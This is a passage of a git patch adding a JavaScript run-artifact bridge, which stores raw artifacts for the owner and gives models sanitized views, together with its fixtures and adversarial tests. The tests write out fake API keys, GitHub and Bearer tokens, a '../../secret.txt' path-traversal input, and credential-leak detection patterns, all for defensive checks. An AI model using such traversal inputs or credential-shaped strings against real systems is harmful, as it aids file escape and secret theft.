assertSanitizedClass(sanitizedRef, `${field}.sanitized_ref.artifact_class`); + if (sanitizedRef.run_id !== rawRef.run_id + || sanitizedRef.assignment_id !== rawRef.assignment_id + || sanitizedRef.artifact_kind !== rawRef.artifact_kind + || sanitizedRef.relative_path !== rawRef.relative_path + || sanitizedRef.media_type !== rawRef.media_type) { + failBridge('artifact_bridge_identity_mismatch', `${field}.sanitized_ref`, + CONTENT_FREE.artifact_bridge_identity_mismatch); + } + const bytes = copyBytes(optOwn(sanitized, 'bytes'), `${field}.bytes`); + if (bytes.byteLength !== sanitizedRef.byte_length || digestOf(bytes) !== sanitizedRef.sha256) { + failBridge('artifact_bridge_sanitizer_failed', `${field}.bytes`, + CONTENT_FREE.artifact_bridge_sanitizer_failed); + } + assertNoCredentialLeak(bytes, `${field}.bytes`); + let redactionCount = 0; + if (hasOwn(sanitized, 'redaction_count')) { + redactionCount = optOwn(sanitized, 'redaction_count'); + if (typeof redactionCount !== 'number' || !NUMBER_IS_SAFE_INTEGER(redactionCount) + || redactionCount < 0 || redactionCount > 1_000_000) { + failBridge('artifact_bridge_sanitizer_failed', `${field}.redaction_count`, + CONTENT_FREE.artifact_bridge_sanitizer_failed); + } + } + let sanitizerVersion = 1; + if (hasOwn(sanitized, 'sanitizer_version')) { + sanitizerVersion = optOwn(sanitized, 'sanitizer_version'); + if (typeof sanitizerVersion !== 'number' || !NUMBER_IS_SAFE_INTEGER(sanitizerVersion) + || sanitizerVersion < 1) { + failBridge('artifact_bridge_sanitizer_failed', `${field}.sanitizer_version`, + CONTENT_FREE.artifact_bridge_sanitizer_failed); + } + } + let sourceTruncated = false; + if (hasOwn(sanitized, 'source_truncated')) { + const flag = optOwn(sanitized, 'source_truncated'); + if (flag !== true && flag !== false) { + failBridge('artifact_bridge_sanitizer_failed', `${field}.source_truncated`, + CONTENT_FREE.artifact_bridge_sanitizer_failed); + } + sourceTruncated = flag === true; + } + let complete = sourceTruncated !== true; + if (hasOwn(sanitized, 'complete')) { + const flag = optOwn(sanitized, 'complete'); + if (flag !== true && flag !== false) { + failBridge('artifact_bridge_sanitizer_failed', `${field}.complete`, + CONTENT_FREE.artifact_bridge_sanitizer_failed); + } + complete = flag === true; + } + return { + sanitized_ref: sanitizedRef, + bytes, + redaction_count: redactionCount, + sanitizer_version: sanitizerVersion, + source_truncated: sourceTruncated, + complete, + }; +} + +function captureReceipt(fields, rawRef, projection, capturedAt, created) { + return freezeData({ + schema: RUN_ARTIFACT_BRIDGE_CAPTURE_SCHEMA_ID, + version: RUN_ARTIFACT_BRIDGE_VERSION, + run_id: fields.runId, + assignment_id: fields.assignmentId, + relative_path: fields.relativePath, + captured_at: capturedAt, + created, + raw_ref: rawRef, + sanitized_ref: projection.sanitized_ref, + redaction_count: projection.redaction_count, + sanitizer_version: projection.sanitizer_version, + source_truncated: fields.sourceTruncated, + complete: fields.sourceTruncated !== true, + }); +} + +function windowProjection(sanitizedBytes, offset, maxBytes) { + const length = sanitizedBytes.byteLength; + const start = MATH_MIN(offset, length); + const take = MATH_MIN(maxBytes, MATH_MAX(0, length - start)); + const selected = take === 0 + ? BUFFER_ALLOC(0) + : BUFFER_FROM(sanitizedBytes.subarray(start, start + take)); + const readerClipped = take < MATH_MIN(maxBytes, MATH_MAX(0, length - start)) + || (maxBytes < MATH_MAX(0, length - start) && take === maxBytes); + const more = start + take < length; + return { + selected, + selected_byte_length: take, + offset: start, + reader_clipped: readerClipped === true, + more, + next_offset: more ? start + take : null, + }; +} + +function projectionArtifact(rawRef, projection, offset, maxBytes) { + const window = windowProjection(projection.bytes, offset, maxBytes); + return freezeData({ + artifact_kind: rawRef.artifact_kind, + relative_path: rawRef.relative_path, + sanitized_ref: projection.sanitized_ref, + sanitized_byte_length: projection.sanitized_ref.byte_length, + selected_encoding: SELECTED_ENCODING, + selected: window.selected.toString(SELECTED_ENCODING), + selected_byte_length: window.selected_byte_length, + offset: window.offset, + redaction_count: projection.redaction_count, + source_truncated: projection.source_truncated, + complete: projection.complete, + reader_clipped: window.reader_clipped, + more: window.more, + next_offset: window.next_offset, + }); +} + +async function appendEvidence(evidenceBundle, event) { + const record = freezeData({ + kind: event.kind, + code: event.code, + run_id: event.run_id, + assignment_id: event.assignment_id, + relative_path: event.relative_path, + artifact_digest: event.artifact_digest, + recorded_at: event.recorded_at, + }); + await callInjected(evidenceBundle.append, record, 'artifact_bridge_store_failed', + 'evidenceBundle'); +} + +function listedRecords(listed, field) { + if (listed === null || listed === undefined) return []; + if (!capturedIsArray(listed)) { + failBridge('artifact_bridge_store_failed', field, CONTENT_FREE.artifact_bridge_store_failed); + } + if (listed.length > MAX_RUN_ARTIFACTS) { + failBridge('out_of_range', field, CONTENT_FREE.out_of_range); + } + const records = []; + for (let index = 0; index < listed.length; index += 1) { + const entry = unwrapStoreRecord(listed[index], `${field}[${index}]`); + if (entry === null) continue; + records.push(entry); + } + return records; +} + +function assertListedStayInRun(records, runId, field) { + for (let index = 0; index < records.length; index += 1) { + const ref = records[index].artifact_ref; + if (ref.run_id !== runId) { + failBridge('artifact_bridge_run_escape_denied', `${field}[${index}]`, + CONTENT_FREE.artifact_bridge_run_escape_denied); + } + assertRawClass(ref, `${field}[${index}].artifact_class`); + assertRunAssignmentPath(ref.relative_path, ref.run_id, ref.assignment_id, + `${field}[${index}].relative_path`); + } +} + +async function loadAssignmentRaw(rawStore, runId, assignmentId) { + const listed = listedRecords( + await callInjected(rawStore.list, { run_id: runId }, 'artifact_bridge_store_failed', + 'rawStore.list'), + 'rawStore.list', + ); + assertListedStayInRun(listed, runId, 'rawStore.list'); + const matched = []; + for (let index = 0; index < listed.length; index += 1) { + const record = listed[index]; + if (record.artifact_ref.assignment_id !== assignmentId) continue; + matched.push(record); + } + if (matched.length > MAX_ASSIGNMENT_ARTIFACTS) { + failBridge('out_of_range', 'rawStore.list', CONTENT_FREE.out_of_range); + } + matched.sort((left, right) => compareArtifactRefsV1(left.artifact_ref, right.artifact_ref)); + return matched; +} + +async function materializeRaw(rawStore, record, runId, assignmentId) { + const ref = record.artifact_ref; + assertSameIdentity(ref, runId, assignmentId, 'artifact_ref'); + assertRawClass(ref, 'artifact_ref.artifact_class'); + if (record.bytes && record.bytes.byteLength === ref.byte_length + && digestOf(record.bytes) === ref.sha256) { + return { artifact_ref: ref, bytes: BUFFER_FROM(record.bytes) }; + } + const fetched = unwrapStoreRecord( + await callInjected(rawStore.get, { + run_id: runId, + assignment_id: assignmentId, + relative_path: ref.relative_path, + }, 'artifact_bridge_store_failed', 'rawStore.get'), + 'rawStore.get', + ); + if (fetched === null || fetched.bytes === null) { + failBridge('artifact_bridge_not_found', 'rawStore.get', + CONTENT_FREE.artifact_bridge_not_found); + } + assertSameIdentity(fetched.artifact_ref, runId, assignmentId, 'rawStore.get'); + assertRawClass(fetched.artifact_ref, 'rawStore.get.artifact_class'); + if (fetched.bytes.byteLength !== fetched.artifact_ref.byte_length + || digestOf(fetched.bytes) !== fetched.artifact_ref.sha256) { + failBridge('artifact_bridge_store_failed', 'rawStore.get', + CONTENT_FREE.artifact_bridge_store_failed); + } + return fetched; +} + +async function projectOne(sanitizer, rawRecord, sourceTruncated) { + const sanitized = await callInjected(sanitizer.sanitize, { + artifact_ref: rawRecord.artifact_ref, + source: BUFFER_FROM(rawRecord.bytes), + source_truncated: sourceTruncated === true, + }, 'artifact_bridge_sanitizer_failed', 'sanitizer'); + return parseSanitizedProjection(rawRecord.artifact_ref, sanitized, 'sanitizer'); +} + +export function describeRunArtifactBridgeV1() { + return freezeData({ + schema: RUN_ARTIFACT_BRIDGE_SCHEMA_ID, + version: RUN_ARTIFACT_BRIDGE_VERSION, + methods: [...RUN_ARTIFACT_BRIDGE_METHODS], + factory_keys: [...RUN_ARTIFACT_BRIDGE_FACTORY_KEYS], + artifact_classes: [...ARTIFACT_CLASSES], + artifact_kinds: [...ARTIFACT_KINDS], + max_assignment_artifacts: MAX_ASSIGNMENT_ARTIFACTS, + max_projection_bytes: MAX_PROJECTION_BYTES, + raw_owner_only: true, + model_facing_sanitized_only: true, + proof_bound_cleanup: true, + automatic_gc: false, + remote_mutated: false, + imports_runtime: false, + imports_scheduler: false, + imports_lifecycle: false, + imports_server: false, + imports_candidate: false, + }); +} + +export function createRunArtifactBridge(options) { + assertPlainObject(options, 'invalid_type', 'options', 'The artifact bridge options'); + assertClosedKeySet(options, RUN_ARTIFACT_BRIDGE_FACTORY_KEYS, 'options'); + assertRequiredKeys(options, RUN_ARTIFACT_BRIDGE_FACTORY_KEYS, 'options'); + const rawStore = requireFunctionMap(optOwn(options, 'rawStore'), 'options.rawStore', + RAW_STORE_METHODS); + const sanitizer = requireFunctionMap(optOwn(options, 'sanitizer'), 'options.sanitizer', + SANITIZER_METHODS); + const evidenceBundle = requireFunctionMap(optOwn(options, 'evidenceBundle'), + 'options.evidenceBundle', EVIDENCE_BUNDLE_METHODS); + const clock = requireFunctionMap(optOwn(options, 'clock'), 'options.clock', CLOCK_METHODS); + + async function captureAssignmentArtifacts(input) { + const fields = parseCaptureInput(input); + const now = readClock(clock); + const rawRef = rawRefFrom(fields, fields.bytes); + const existing = unwrapStoreRecord( + await callInjected(rawStore.get, { + run_id: fields.runId, + assignment_id: fields.assignmentId, + relative_path: fields.relativePath, + }, 'artifact_bridge_store_failed', 'rawStore.get'), + 'rawStore.get', + ); + if (existing !== null) { + assertSameIdentity(existing.artifact_ref, fields.runId, fields.assignmentId, 'rawStore.get'); + assertRawClass(existing.artifact_ref, 'rawStore.get.artifact_class'); + if (existing.artifact_ref.sha256 !== rawRef.sha256 + || existing.artifact_ref.byte_length !== rawRef.byte_length + || existing.artifact_ref.artifact_kind !== rawRef.artifact_kind + || existing.artifact_ref.media_type !== rawRef.media_type) { + failBridge('artifact_bridge_restart_conflict', 'options.source', + CONTENT_FREE.artifact_bridge_restart_conflict); + } + const replayBytes = existing.bytes === null + ? fields.bytes + : existing.bytes; + if (digestOf(replayBytes) !== rawRef.sha256) { + failBridge('artifact_bridge_restart_conflict', 'options.source', + CONTENT_FREE.artifact_bridge_restart_conflict); + } + const projection = await projectOne(sanitizer, { + artifact_ref: existing.artifact_ref, + bytes: replayBytes, + }, fields.sourceTruncated); + await appendEvidence(evidenceBundle, { + kind: 'capture', + code: 'replayed', + run_id: fields.runId, + assignment_id: fields.assignmentId, + relative_path: fields.relativePath, + artifact_digest: rawRef.sha256, + recorded_at: now, + }); + return captureReceipt(fields, existing.artifact_ref, projection, now, false); + } + + const siblings = await loadAssignmentRaw(rawStore, fields.runId, fields.assignmentId); + if (siblings.length >= MAX_ASSIGNMENT_ARTIFACTS) { + failBridge('out_of_range', 'options.relative_path', CONTENT_FREE.out_of_range); + } + + await callInjected(rawStore.publish, { + artifact_ref: rawRef, + bytes: BUFFER_FROM(fields.bytes), + }, 'artifact_bridge_store_failed', 'rawStore.publish'); + + const verified = unwrapStoreRecord( + await callInjected(rawStore.get, { + run_id: fields.runId, + assignment_id: fields.assignmentId, + relative_path: fields.relativePath, + }, 'artifact_bridge_store_failed', 'rawStore.get'), + 'rawStore.get', + ); + if (verified === null || verified.bytes === null + || verified.artifact_ref.sha256 !== rawRef.sha256) { + failBridge('artifact_bridge_store_failed', 'rawStore.get', + CONTENT_FREE.artifact_bridge_store_failed); + } + assertRawClass(verified.artifact_ref, 'rawStore.get.artifact_class'); + const projection = await projectOne(sanitizer, verified, fields.sourceTruncated); + await appendEvidence(evidenceBundle, { + kind: 'capture', + code: 'captured', + run_id: fields.runId, + assignment_id: fields.assignmentId, + relative_path: fields.relativePath, + artifact_digest: rawRef.sha256, + recorded_at: now, + }); + return captureReceipt(fields, verified.artifact_ref, projection, now, true); + } + + async function projectAssignmentArtifacts(input) { + const fields = parseProjectInput(input); + const now = readClock(clock); + const listed = await loadAssignmentRaw(rawStore, fields.runId, fields.assignmentId); + const artifacts = []; + for (let index = 0; index < listed.length; index += 1) { + const rawRecord = await materializeRaw(rawStore, listed[index], fields.runId, + fields.assignmentId); + const projection = await projectOne(sanitizer, rawRecord, false); + artifacts.push(projectionArtifact(rawRecord.artifact_ref, projection, fields.offset, + fields.maxBytes)); + } + await appendEvidence(evidenceBundle, { + kind: 'projection', + code: 'projected', + run_id: fields.runId, + assignment_id: fields.assignmentId, + relative_path: null, + artifact_digest: null, + recorded_at: now, + }); + return freezeData({ + schema: RUN_ARTIFACT_BRIDGE_PROJECTION_SCHEMA_ID, + version: RUN_ARTIFACT_BRIDGE_VERSION, + run_id: fields.runId, + assignment_id: fields.assignmentId, + projected_at: now, + artifacts, + }); + } + + async function cleanupRunArtifacts(input) { + const fields = parseCleanupInput(input); + const now = readClock(clock); + const listed = listedRecords( + await callInjected(rawStore.list, { run_id: fields.runId }, + 'artifact_bridge_store_failed', 'rawStore.list'), + 'rawStore.list', + ); + assertListedStayInRun(listed, fields.runId, 'rawStore.list'); + + const targeted = []; + const allowedAssignments = fields.assignmentIds === null + ? null + : new Set(fields.assignmentIds); + for (let index = 0; index < listed.length; index += 1) { + const record = listed[index]; + if (allowedAssignments !== null + && !allowedAssignments.has(record.artifact_ref.assignment_id)) { + continue; + } + targeted.push(record); + } + + let removed = 0; + for (let index = 0; index < targeted.length; index += 1) { + const ref = targeted[index].artifact_ref; + if (ref.run_id !== fields.runId) { + failBridge('artifact_bridge_run_escape_denied', 'rawStore.remove', + CONTENT_FREE.artifact_bridge_run_escape_denied); + } + await callInjected(rawStore.remove, { + run_id: ref.run_id, + assignment_id: ref.assignment_id, + relative_path: ref.relative_path, + sha256: ref.sha256, + }, 'artifact_bridge_store_failed', 'rawStore.remove'); + removed += 1; + } + + const remainingListed = listedRecords( + await callInjected(rawStore.list, { run_id: fields.runId }, + 'artifact_bridge_store_failed', 'rawStore.list'), + 'rawStore.list', + ); + assertListedStayInRun(remainingListed, fields.runId, 'rawStore.list'); + let remainingTargeted = 0; + for (let index = 0; index < remainingListed.length; index += 1) { + const ref = remainingListed[index].artifact_ref; + if (allowedAssignments !== null && !allowedAssignments.has(ref.assignment_id)) continue; + remainingTargeted += 1; + } + const cleaned = remainingTargeted === 0; + const code = removed === 0 ? 'already_cleaned' : 'cleaned'; + await appendEvidence(evidenceBundle, { + kind: 'cleanup', + code, + run_id: fields.runId, + assignment_id: fields.assignmentIds && fields.assignmentIds.length === 1 + ? fields.assignmentIds[0] + : null, + relative_path: null, + artifact_digest: null, + recorded_at: now, + }); + return freezeData({ + schema: RUN_ARTIFACT_BRIDGE_CLEANUP_SCHEMA_ID, + version: RUN_ARTIFACT_BRIDGE_VERSION, + run_id: fields.runId, + cleaned_at: now, + cleaned, + removed, + remaining: remainingListed.length, + unresolved: [], + }); + } + + return capturedFreeze({ + captureAssignmentArtifacts: capturedFreeze(captureAssignmentArtifacts), + projectAssignmentArtifacts: capturedFreeze(projectAssignmentArtifacts), + cleanupRunArtifacts: capturedFreeze(cleanupRunArtifacts), + }); +} + +capturedFreeze(createRunArtifactBridge); +capturedFreeze(describeRunArtifactBridgeV1); +capturedFreeze(RUN_ARTIFACT_BRIDGE_ERROR_CODES); +capturedFreeze(RUN_ARTIFACT_BRIDGE_METHODS); From 7f6176098f955b36295acfb7b76623dab0be8ccc Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 22:36:24 +0000 Subject: [PATCH 130/151] test(run): prove capture, projection, cleanup, and hostiles Cover identity-bound owner-only raw capture, sanitized model-facing projection, restart replay without duplicate storage, proof-bound per-run cleanup, and adversarial denials for proxies, path broadening, credential leaks, and lying stores. Tests inject scoped stubs only. --- .../r1-run-artifact-bridge-fixtures.mjs | 189 +++++++++++ ...1-run-artifact-bridge-adversarial.test.mjs | 300 +++++++++++++++++ .../test/r1-run-artifact-bridge.test.mjs | 317 ++++++++++++++++++ 3 files changed, 806 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-run-artifact-bridge-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-artifact-bridge-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-run-artifact-bridge.test.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-artifact-bridge-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-artifact-bridge-fixtures.mjs new file mode 100644 index 0000000..fc8aabd --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-artifact-bridge-fixtures.mjs @@ -0,0 +1,189 @@ +// Neutral builders and injected stubs for the P33 run artifact bridge. +// Tests own the assertions. + +import { createHash } from 'node:crypto'; + +import { ARTIFACT_REF_SCHEMA_ID } from '../../mcp/v3/artifact-ref.mjs'; +import { createRunArtifactBridge } from '../../mcp/v3/run-artifact-bridge.mjs'; + +export const RUN_ID = 'run-artifact-main'; +export const OTHER_RUN_ID = 'run-artifact-other'; +export const ASSIGNMENT_A = 'assign-a'; +export const ASSIGNMENT_B = 'assign-b'; +export const RELATIVE_A = `runs/${RUN_ID}/${ASSIGNMENT_A}/provider-report.txt`; +export const RELATIVE_B = `runs/${RUN_ID}/${ASSIGNMENT_B}/git-diff.txt`; +export const FOREIGN_RELATIVE = `runs/${OTHER_RUN_ID}/${ASSIGNMENT_A}/provider-report.txt`; +export const HOSTILE_SECRET = 'sk-live-ATTACKER-SECRET'; +export const HOSTILE_TOKEN = 'github_pat_hostiletokenvalue'; +export const HOSTILE_PATH = '/tmp/hostile-repo'; +export const HOSTILE_BEARER = 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9xx'; +export const PLAIN_TEXT = 'lane completed without secrets'; +export const SECRET_TEXT = `token ${HOSTILE_SECRET} and ${HOSTILE_TOKEN}`; +export const REDACTED = '[REDACTED]'; +export const CLOCK_START = '2026-08-25T22:00:00Z'; + +export function digestOf(bytes) { + return createHash('sha256').update(bytes).digest('hex'); +} + +export function makeClock(start = CLOCK_START) { + let current = start; + return { + now() { + return current; + }, + set(next) { + current = next; + }, + }; +} + +export function makeRawStore() { + const records = new Map(); + const keyOf = (runId, assignmentId, relativePath) => + `${runId}\u0000${assignmentId}\u0000${relativePath}`; + + return { + async publish({ artifact_ref, bytes }) { + const key = keyOf(artifact_ref.run_id, artifact_ref.assignment_id, artifact_ref.relative_path); + records.set(key, { + artifact_ref: { ...artifact_ref }, + bytes: Buffer.from(bytes), + }); + return { artifact_ref: { ...artifact_ref } }; + }, + async get({ run_id, assignment_id, relative_path }) { + const record = records.get(keyOf(run_id, assignment_id, relative_path)); + if (!record) return null; + return { + artifact_ref: { ...record.artifact_ref }, + bytes: Buffer.from(record.bytes), + }; + }, + async list({ run_id }) { + const listed = []; + for (const record of records.values()) { + if (record.artifact_ref.run_id !== run_id) continue; + listed.push({ + artifact_ref: { ...record.artifact_ref }, + bytes: Buffer.from(record.bytes), + }); + } + return listed; + }, + async remove({ run_id, assignment_id, relative_path }) { + records.delete(keyOf(run_id, assignment_id, relative_path)); + }, + size() { + return records.size; + }, + snapshot() { + return [...records.values()].map((record) => ({ + artifact_ref: { ...record.artifact_ref }, + bytes: Buffer.from(record.bytes), + })); + }, + }; +} + +export function makeSanitizer({ secrets = [HOSTILE_SECRET, HOSTILE_TOKEN, HOSTILE_BEARER] } = {}) { + return { + async sanitize({ artifact_ref, source, source_truncated }) { + let text = Buffer.from(source).toString('utf8'); + let redactionCount = 0; + for (const secret of secrets) { + if (!text.includes(secret)) continue; + text = text.split(secret).join(REDACTED); + redactionCount += 1; + } + const bytes = Buffer.from(text, 'utf8'); + return { + sanitized_ref: { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: artifact_ref.run_id, + assignment_id: artifact_ref.assignment_id, + artifact_kind: artifact_ref.artifact_kind, + artifact_class: 'sanitized', + relative_path: artifact_ref.relative_path, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: artifact_ref.media_type, + content_encoding: 'identity', + }, + bytes, + redaction_count: redactionCount, + sanitizer_version: 1, + source_truncated: source_truncated === true, + complete: source_truncated !== true, + }; + }, + }; +} + +export function makeEvidenceBundle() { + const events = []; + return { + async append(event) { + events.push({ ...event }); + }, + async list({ run_id, assignment_id } = {}) { + return events.filter((event) => { + if (run_id && event.run_id !== run_id) return false; + if (assignment_id && event.assignment_id !== assignment_id) return false; + return true; + }); + }, + events, + }; +} + +export function makeBridge(overrides = {}) { + const rawStore = overrides.rawStore ?? makeRawStore(); + const sanitizer = overrides.sanitizer ?? makeSanitizer(); + const evidenceBundle = overrides.evidenceBundle ?? makeEvidenceBundle(); + const clock = overrides.clock ?? makeClock(); + const bridge = createRunArtifactBridge({ + rawStore, + sanitizer, + evidenceBundle, + clock, + }); + return { bridge, rawStore, sanitizer, evidenceBundle, clock }; +} + +export function captureInput(overrides = {}) { + return { + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + artifact_kind: 'provider_report', + relative_path: RELATIVE_A, + media_type: 'text/plain', + source: PLAIN_TEXT, + ...overrides, + }; +} + +export function projectInput(overrides = {}) { + return { + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + ...overrides, + }; +} + +export function cleanupInput(overrides = {}) { + const proof = overrides.proof === undefined + ? { run_id: RUN_ID } + : overrides.proof; + const rest = { ...overrides }; + delete rest.proof; + return { + run_id: RUN_ID, + proof, + ...rest, + }; +} + +export function decodeSelected(artifact) { + return Buffer.from(artifact.selected, artifact.selected_encoding).toString('utf8'); +} diff --git a/plugins/codex-co-engineer/test/r1-run-artifact-bridge-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-artifact-bridge-adversarial.test.mjs new file mode 100644 index 0000000..10e5e26 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-artifact-bridge-adversarial.test.mjs @@ -0,0 +1,300 @@ +// P33 run artifact bridge adversarial coverage: hostile containers, identity +// drift, path-authority broadening, credential leaks, lying stores, and +// content-free failures. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { ARTIFACT_REF_SCHEMA_ID } from '../mcp/v3/artifact-ref.mjs'; +import { createRunArtifactBridge } from '../mcp/v3/run-artifact-bridge.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + ASSIGNMENT_A, + FOREIGN_RELATIVE, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + OTHER_RUN_ID, + RELATIVE_A, + RUN_ID, + captureInput, + cleanupInput, + digestOf, + makeBridge, + makeClock, + makeEvidenceBundle, + makeRawStore, + makeSanitizer, + projectInput, +} from './fixtures/r1-run-artifact-bridge-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertContentFree(error) { + assert.doesNotMatch(error.message, /sk-live/u); + assert.doesNotMatch(error.message, /ATTACKER-SECRET/u); + assert.doesNotMatch(error.message, /github_pat/u); + assert.doesNotMatch(error.message, /\/tmp\//u); + assert.doesNotMatch(error.message, /Bearer /u); +} + +test('proxy factory options and capture inputs fail closed without traps', async () => { + const proxiedOptions = countingProxy({ + rawStore: makeRawStore(), + sanitizer: makeSanitizer(), + evidenceBundle: makeEvidenceBundle(), + clock: makeClock(), + }); + assert.throws(() => createRunArtifactBridge(proxiedOptions.proxy), (error) => { + assert.ok(error instanceof RunContractV1Error); + assert.equal(error.code, 'proxy_denied'); + return true; + }); + assert.equal(trapTotal(proxiedOptions.counts), 0); + + const { bridge } = makeBridge(); + const proxiedInput = countingProxy(captureInput()); + const error = await errorOf(() => bridge.captureAssignmentArtifacts(proxiedInput.proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.equal(trapTotal(proxiedInput.counts), 0); + assertContentFree(error); +}); + +test('unknown factory keys and missing store methods fail closed', () => { + const base = { + rawStore: makeRawStore(), + sanitizer: makeSanitizer(), + evidenceBundle: makeEvidenceBundle(), + clock: makeClock(), + }; + assert.throws(() => createRunArtifactBridge({ ...base, scheduler: {} }), (error) => { + assert.equal(error.code, 'unknown_key'); + return true; + }); + const rawStore = makeRawStore(); + delete rawStore.remove; + assert.throws(() => createRunArtifactBridge({ ...base, rawStore }), (error) => { + assert.equal(error.code, 'missing_key'); + return true; + }); +}); + +test('accessor and symbol keys never run getters or leak secrets', async () => { + const { bridge } = makeBridge(); + const hostile = { + ...captureInput(), + get source() { + throw new Error(`trap ${HOSTILE_SECRET}`); + }, + }; + delete hostile.source; + Object.defineProperty(hostile, 'source', { + enumerable: true, + get() { + throw new Error(`trap ${HOSTILE_SECRET}`); + }, + }); + const accessorError = await errorOf(() => bridge.captureAssignmentArtifacts(hostile)); + assert.equal(accessorError.code, 'accessor_property_denied'); + assertContentFree(accessorError); + + const withSymbol = captureInput(); + withSymbol[Symbol('secret')] = HOSTILE_TOKEN; + const symbolError = await errorOf(() => bridge.captureAssignmentArtifacts(withSymbol)); + assert.equal(symbolError.code, 'symbol_key_denied'); + assertContentFree(symbolError); +}); + +test('path authority cannot broaden to another run or parent segments', async () => { + const { bridge, rawStore } = makeBridge(); + const foreign = await errorOf(() => bridge.captureAssignmentArtifacts(captureInput({ + relative_path: FOREIGN_RELATIVE, + }))); + assert.equal(foreign.code, 'artifact_bridge_path_authority_denied'); + assertContentFree(foreign); + assert.equal(rawStore.size(), 0); + + const escaped = await errorOf(() => bridge.captureAssignmentArtifacts(captureInput({ + relative_path: 'runs/run-artifact-main/assign-a/../../secret.txt', + }))); + assert.ok([ + 'artifact_bridge_path_authority_denied', + 'alias_segment_denied', + ].includes(escaped.code)); + assertContentFree(escaped); +}); + +test('cleanup without exact run proof is denied and leaves artifacts in place', async () => { + const { bridge, rawStore } = makeBridge(); + await bridge.captureAssignmentArtifacts(captureInput()); + const missing = await errorOf(() => bridge.cleanupRunArtifacts({ run_id: RUN_ID })); + assert.equal(missing.code, 'missing_key'); + const mismatched = await errorOf(() => bridge.cleanupRunArtifacts(cleanupInput({ + proof: { run_id: OTHER_RUN_ID }, + }))); + assert.equal(mismatched.code, 'artifact_bridge_cleanup_unproven'); + assertContentFree(mismatched); + const worktree = await errorOf(() => bridge.cleanupRunArtifacts({ + run_id: RUN_ID, + proof: { run_id: RUN_ID, worktree: HOSTILE_PATH }, + })); + assert.equal(worktree.code, 'unknown_key'); + assertContentFree(worktree); + assert.equal(rawStore.size(), 1); +}); + +test('a lying store that lists another run cannot cause escaped cleanup', async () => { + const inner = makeRawStore(); + const honest = makeBridge({ rawStore: inner }); + await honest.bridge.captureAssignmentArtifacts(captureInput()); + const lying = { + publish: inner.publish.bind(inner), + get: inner.get.bind(inner), + remove: inner.remove.bind(inner), + async list({ run_id }) { + const own = await inner.list({ run_id }); + own.push({ + artifact_ref: { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: OTHER_RUN_ID, + assignment_id: ASSIGNMENT_A, + artifact_kind: 'provider_report', + artifact_class: 'raw', + relative_path: FOREIGN_RELATIVE, + byte_length: 4, + sha256: digestOf(Buffer.from('nope')), + media_type: 'text/plain', + content_encoding: 'identity', + }, + bytes: Buffer.from('nope'), + }); + return own; + }, + }; + const { bridge } = makeBridge({ rawStore: lying }); + const error = await errorOf(() => bridge.cleanupRunArtifacts(cleanupInput())); + assert.equal(error.code, 'artifact_bridge_run_escape_denied'); + assertContentFree(error); + const stored = await inner.get({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + relative_path: RELATIVE_A, + }); + assert.equal(stored !== null, true); + assert.equal(inner.size(), 1); +}); + +test('sanitizer returning raw class or credential text fails closed', async () => { + const rawClassSanitizer = { + async sanitize({ artifact_ref, source }) { + const bytes = Buffer.from(source); + return { + sanitized_ref: { + ...artifact_ref, + artifact_class: 'raw', + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + }, + bytes, + redaction_count: 0, + sanitizer_version: 1, + source_truncated: false, + complete: true, + }; + }, + }; + const rawClassBridge = makeBridge({ sanitizer: rawClassSanitizer }).bridge; + const rawError = await errorOf(() => rawClassBridge.captureAssignmentArtifacts(captureInput({ + source: HOSTILE_SECRET, + }))); + assert.equal(rawError.code, 'artifact_bridge_projection_denied'); + assertContentFree(rawError); + + const leakSanitizer = { + async sanitize({ artifact_ref, source }) { + const bytes = Buffer.from(source); + return { + sanitized_ref: { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: artifact_ref.run_id, + assignment_id: artifact_ref.assignment_id, + artifact_kind: artifact_ref.artifact_kind, + artifact_class: 'sanitized', + relative_path: artifact_ref.relative_path, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: artifact_ref.media_type, + content_encoding: 'identity', + }, + bytes, + redaction_count: 0, + sanitizer_version: 1, + source_truncated: false, + complete: true, + }; + }, + }; + const leakBridge = makeBridge({ sanitizer: leakSanitizer }).bridge; + const leakError = await errorOf(() => leakBridge.captureAssignmentArtifacts(captureInput({ + source: `keep ${HOSTILE_SECRET}`, + }))); + assert.equal(leakError.code, 'credential_leak_denied'); + assertContentFree(leakError); +}); + +test('project never accepts raw audience keys or oversized windows', async () => { + const { bridge } = makeBridge(); + await bridge.captureAssignmentArtifacts(captureInput()); + const audience = await errorOf(() => bridge.projectAssignmentArtifacts({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + audience: 'owner', + })); + assert.equal(audience.code, 'unknown_key'); + const oversized = await errorOf(() => bridge.projectAssignmentArtifacts(projectInput({ + max_bytes: 8193, + }))); + assert.equal(oversized.code, 'out_of_range'); +}); + +test('unknown artifact kind, empty source, and extra capture keys fail closed', async () => { + const { bridge, rawStore } = makeBridge(); + const kind = await errorOf(() => bridge.captureAssignmentArtifacts(captureInput({ + artifact_kind: 